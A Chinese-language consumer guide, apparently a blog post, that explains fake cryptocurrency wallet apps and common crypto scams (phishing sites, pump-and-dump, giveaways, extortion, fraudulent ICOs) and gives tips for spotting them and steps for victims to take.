社交媒體是騙子尋找新受害者的金礦。現在,虛假的加密廣告在 Facebook 和其他平台上流傳。這些廣告使用知名行業領袖的形象來引誘人們購買不存在的加密貨幣。

網絡安全研究人員最近發現了 40 個模仿合法加密服務的網站。這些網站宣傳的加密錢包應用絕非合法。繼續閱讀以找出風險並保護您的財務。

看好你的錢包

加密貨幣錢包是您的加密貨幣的物理或數字存儲設備。錢包本身持有公鑰和私鑰,讓您可以訪問您的加密貨幣。

如何發現假冒的加密貨幣應用程序

假冒的加密貨幣應用程序被設計成盡可能類似於合法應用程序。作為加密貨幣投資者,應該能夠辨別合法和假冒應用程序,以避免不必要的損失。

以下是在嘗試確定移動加密應用程序的真實性時需要注意的一些事項的細分。

有證據表明,一個騙子正在招募合作夥伴,通過電話營銷、社交媒體、廣告、短信、第三方渠道、虛假網站等方式分發這些不良應用。

ESET 研究人員還發現惡意錢包通過合法的中文網站分發,文章中包含指向假錢包應用程序的鏈接。這些帖子使用了真實的錢包名稱,如 Coinbase、imToken、Bitpie、MetaMask、TokenPocket、OneKey 和 Trust Wallet,但導致了山寨網站。

一名小偷使用另一個合法的中國網站發布了一篇有關北京加密貨幣禁令的文章。作者列出了一個真正的加密錢包列表來繞過禁令,以及帶有虛假應用程序下載鏈接的虛假網站的鏈接。

iOS 和 Android 上的不同效果

面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

惡意軟件的工作方式因您的操作系統而異。假冒的 Android 錢包應用程序針對未在其設備上安裝合法錢包應用程序的新加密用戶。

如果你已經有一個官方錢包應用程序,由於 Android 安全措施,惡意應用程序不會被安裝,這不允許你用一個不合法的應用程序替換原始應用程序。

模仿網站讓 Android 用戶從他們的服務器下載惡意應用程序,即使他們點擊“在 Google Play 上下載”按鈕也是如此。之後,需要手動安裝該應用程序。

面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

對於 iOS,可以同時安裝一個應用程序的多個版本。但由於 Apple 更嚴格的篩選過程,你不會在 App Store 中找到這些惡意應用程序。因此,如果您是 Apple 用戶,則必須從第三方商店安裝惡意應用程序或單擊在社交媒體等地方找到的惡意鏈接。

這些應用程序的網站允許用戶在官方商店之外下載應用程序,使用 Apple 為企業和教育機構安裝定制應用程序而無需通過 App Store 的系統。然後您必須手動安裝這些應用程序。

一旦應用程序啟動並運行,它看起來就像一個合法的加密錢包。但事實並非如此。相反,它正在竊取存入其中的貨幣。

拼寫、圖標和說明

確定應用程序是否合法的第一步是檢查拼寫和圖標。假冒應用程序的名稱和圖標通常看起來與合法應用程序相似,但通常有些地方不對。

例如,如果應用程序或開發者名稱拼寫錯誤,則該軟件很可能是假的。在互聯網上快速搜索該應用程序將有助於確認其合法性。

同樣重要的是要考慮該應用程序是否具有 Google 編輯器的選擇徽章。該徽章是 Google Play 編輯團隊為表彰品質卓越的開發者和應用而提供的一種榮譽。帶有此標誌的應用不太可能是假的。

不要成為受害者

請遵循以下提示以阻止加密詐騙者:

  • 使用官方應用商店中包含官方網站鏈接的官方應用。
  • 警惕加密貨幣的在線廣告。
  • 研究您感興趣的任何錢包應用程序。查找有關該應用程序背後的公司的評論和信息。
  • 在購買加密貨幣之前,請閱讀 Kim 關於該主題的電子書。

應用權限

假冒應用程序通常會請求比必要更多的權限。這確保了他們從受害者的設備中收集盡可能多的數據。

因此,用戶應該警惕需要偏離中心權限的應用程序,例如設備管理員權限。此類授權可以讓網絡犯罪分子不受限制地訪問設備,並允許他們攔截可用於解鎖金融賬戶(包括加密錢包)的敏感數據。

可以通過電話系統的隱私設置阻止侵入性應用程序權限。

虛假網站

詐騙者有時會創建虛假的加密貨幣交易平台或官方加密錢包的虛假版本來欺騙毫無戒心的受害者。這些虛假網站通常與他們試圖模仿的網站具有相似但略有不同的域名。它們看起來與合法網站非常相似,因此很難區分。虛假加密網站通常以以下兩種方式之一運作:

  • 作為 網絡釣魚 頁面:您輸入的所有詳細信息,例如您的加密錢包的密碼和助記詞以及其他財務信息,最終都會落入詐騙者之手。
  • 直接盜竊:最初,網站可能允許您提取少量資金。由於您的投資似乎表現良好,您可能會在網站上投入更多資金。但是,當您隨後想要取款時,該網站要么關閉,要么拒絕該請求。

網絡釣魚詐騙

加密網絡釣魚詐騙通常以與在線錢包相關的信息為目標。詐騙者以加密錢包私鑰為目標,這些私鑰是訪問錢包內資金所必需的。他們的工作方法類似於其他網絡釣魚嘗試,並與上述假冒網站有關。他們發送一封電子郵件,引誘收件人訪問一個專門創建的網站,要求他們輸入私鑰信息。一旦黑客獲得了這些信息,他們就會竊取這些錢包中的加密貨幣。

暴漲暴跌計劃

這涉及欺詐者通過電子郵件群發或 Twitter、Facebook 或 Telegram 等社交媒體炒作的特定硬幣或代幣。不想錯過機會的交易員爭先恐後地購買硬幣,推高了價格。在成功抬高價格後,騙子隨後出售他們持有的資產——隨著資產價值急劇下降,這導致了崩盤。這可能會在幾分鐘內發生。

虛假應用

詐騙者欺騙加密貨幣投資者的另一種常見方式是通過 可通過 Google Play 和 Apple App Store 下載的虛假應用程序 。雖然這些假冒應用程序很快就會被發現並刪除,但這並不意味著這些應用程序不會影響到很多底線。成千上萬的人 下載了假的加密貨幣應用程序。 

假名人代言

加密詐騙者有時冒充或聲稱獲得名人、商人或有影響力的人的認可,以吸引潛在目標的注意。有時,這涉及向新手投資者出售不存在的虛擬加密貨幣。這些騙局可能非常複雜,涉及光鮮亮麗的網站和小冊子,這些網站和小冊子似乎顯示了埃隆馬斯克等家喻戶曉的名人的代言。

贈品騙局

這是騙子承諾在所謂的贈品騙局中匹配或增加發送給他們的加密貨幣的地方。來自通常看起來像有效社交媒體帳戶的巧妙信息可以營造合法感並激發緊迫感。這種所謂的“千載難逢”的機會會導致人們迅速轉移資金,以期立即獲得回報。

勒索和勒索詐騙

詐騙者使用的另一種方法是勒索。他們發送的電子郵件聲稱擁有用戶訪問過的成人網站的記錄,並威脅說除非他們共享私鑰或向詐騙者發送加密貨幣,否則就會暴露這些網站。

雲挖礦詐騙

雲挖礦是指允許您租用他們運營的挖礦硬件的公司,以換取固定費用和您應該賺取的收入份額。從理論上講,這可以讓人們在不購買昂貴的挖礦硬件的情況下進行遠程挖礦。然而,許多雲挖礦公司都是騙局,或者充其量是無效的——因為你最終會賠錢或賺得比暗示的少。

欺詐性首次代幣發行 (ICO)

首次代幣發行或 ICO 是初創加密貨幣公司從未來用戶那裡籌集資金的一種方式。通常情況下,客戶會被承諾以折扣價購買新的加密貨幣,以換取發送活躍的加密貨幣,如 比特幣 或其他流行的加密貨幣。一些 ICO 已 被證明是欺詐性的,犯罪分子會精心設計來欺騙投資者,例如租用假辦公室和製作高端營銷材料。

如何發現加密貨幣詐騙

那麼,如何發現加密騙局?需要注意的警告標誌包括:

保證回報的承諾: 沒有任何金融投資可以保證未來的回報,因為投資可跌可漲。任何承諾你一定會賺錢的加密貨幣產品都是一個危險信號。

一份糟糕或根本不存在的白皮書: 每種加密貨幣都應該有一份白皮書,因為這是首次代幣發行最關鍵的方面之一。白皮書應該解釋加密貨幣是如何設計的以及它將如何工作。如果白皮書沒有意義——或者更糟的是,不存在——那麼請謹慎行事。

過度營銷: 所有企業都在推銷自己。但加密貨幣欺詐者吸引人們的一種方式是投資大量營銷——在線廣告、付費影響者、線下促銷等。這是為了在盡可能短的時間內接觸到盡可能多的人——快速籌集資金。如果您覺得加密貨幣產品的營銷看起來很粗暴,或者在沒有支持的情況下做出奢侈的聲明,請暫停並做進一步的研究。

未透露姓名的團隊成員: 對於大多數投資業務,應該可以找出其背後的關鍵人物是誰。通常,這意味著經營投資的人的傳記很容易找到,而且在社交媒體上也很活躍。如果您無法找出誰在運行加密貨幣,請謹慎行事。

免費資金:無論是現金還是加密貨幣,任何承諾免費資金的投資機會都可能是假的。

加密貨幣是騙局嗎?

如何保護自己免受加密貨幣詐騙

許多加密貨幣欺詐都是複雜且令人信服的。以下是您可以採取的一些保護自己的步驟:

保護您的錢包: 要投資加密貨幣,您需要一個帶有私鑰的錢包。如果一家公司要求您分享您的密鑰以參與投資機會,那很可能是一個騙局。將您的錢包密鑰保密。

密切關注您的錢包應用程序: 第一次轉賬時,只需發送少量資金以確認加密錢包應用程序的合法性。如果您在更新錢包應用程序時發現可疑行為,請終止更新並卸載該應用程序。

只投資您了解的事物: 如果您不清楚特定加密貨幣的運作方式,那麼最好在決定是否投資之前停下來做進一步的研究。

慢慢來: 詐騙者經常使用高壓策略讓您快速投資——例如,如果您立即參與,他們會承諾提供獎金或折扣。在投資任何資金之前,請花點時間進行自己的研究。

警惕社交媒體廣告: 加密詐騙者經常使用社交媒體來宣傳他們的欺詐計劃。他們可能會使用未經授權的名人或知名商人的圖像來營造合法感,或者他們可能會承諾提供贈品或免費現金。當您看到社交媒體上宣傳的加密貨幣機會並進行盡職調查時,請保持健康的懷疑態度。

忽略推銷電話: 如果有人突然聯繫您向您推銷加密貨幣投資機會,那很可能是個騙局。切勿向以這種方式與您聯繫的人透露個人信息或轉賬。

只從官方平台下載應用程序: 雖然假冒應用程序最終可能出現在 Google Play Store 或 Apple App Store 中,但從這些平台下載應用程序比從其他地方下載應用程序更安全。

做你的研究: 最受歡迎的加密貨幣不是騙局。但是,如果您還沒有聽說過某種特定的加密貨幣,請對其進行研究——看看是否有您可以閱讀的白皮書,找出誰在運行它以及它是如何運作的,並尋找真實的評論和推薦。查找最新且可信的假冒加密貨幣列表以檢查是否存在詐騙。

好得令人難以置信: 承諾保證回報或讓您一夜暴富的公司很可能是騙局。如果某件事看起來好得令人難以置信,請謹慎行事。

最後,與任何投資機會一樣,永遠不要投資您承受不起損失的資金。即使您沒有被騙,加密貨幣也具有波動性和投機性,因此了解風險至關重要。


如果您成為加密騙局的受害者該怎麼辦

成為加密貨幣騙局的受害者可能是毀滅性的,如果您已經付款或披露了個人信息,則必須迅速採取行動。

如果您有以下情況,請立即聯繫您的銀行:

  • 使用借記卡或信用卡付款。
  • 通過銀行轉帳付款。
  • 分享有關您自己的個人詳細信息。

加密貨幣欺詐者經常將他們捕獲的詳細信息出售給其他罪犯。因此,必須全面更改您的用戶名和密碼,以防止進一步的損害。如果您是社交媒體加密騙局的受害者,您可以向相關社交媒體平台舉報。根據您居住的地方,您可以向您管轄範圍內的相關機構報告欺詐行為——例如,在美國,這將是聯邦 貿易委員會。其他國家也有自己的等價物。

下載次數

一個應用程序的下載次數通常是該應用程序受歡迎程度的指標。來自知名開發商的應用程序通常有數百萬次下載和數千條正面評價。

相反,只有幾千次下載的應用程序需要更嚴格的審查。

通過聯繫支持人員確認真實性

如果不確定某個應用程序,通過公司官方網站聯繫支持人員可以幫助避免因欺詐而造成的經濟損失。

此外,可以從公司的官方網站下載正版應用程序。

加密貨幣以相對較新的技術為基礎,因此在使用和採用方面出現初期問題是很自然的。不幸的是,近年來,黑帽攻擊了使用假加密應用程序的天真的加密愛好者。

雖然這個問題可能會持續數年,但從長遠來看,科技公司加強審查可能會緩和這個問題。


文學:


調查
iOS 和 Android 移動設備上的加密貨幣錢包是否存在潛在取證偽影

Angelica Montanez

面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金
https://cryptodeep.ru/doc/Montanez-Angelica_Final-Research-Paper.pdf

概括

此類欺詐活動目前不僅盛行,而且呈上升趨勢。每天,越來越多的人成為這種情況的受害者。用戶應始終保持謹慎並警惕網絡釣魚詐騙。


GitHub

電報:https://t.me/cryptodeeptech

視頻:https://youtu.be/EkU8YhB91MI

資料來源:https://cryptodeep.ru/crypto-wallet-protection


面對假冒加密錢包的快速增長,如何保護您的比特幣和以太坊加密貨幣資金

 密碼分析

]]>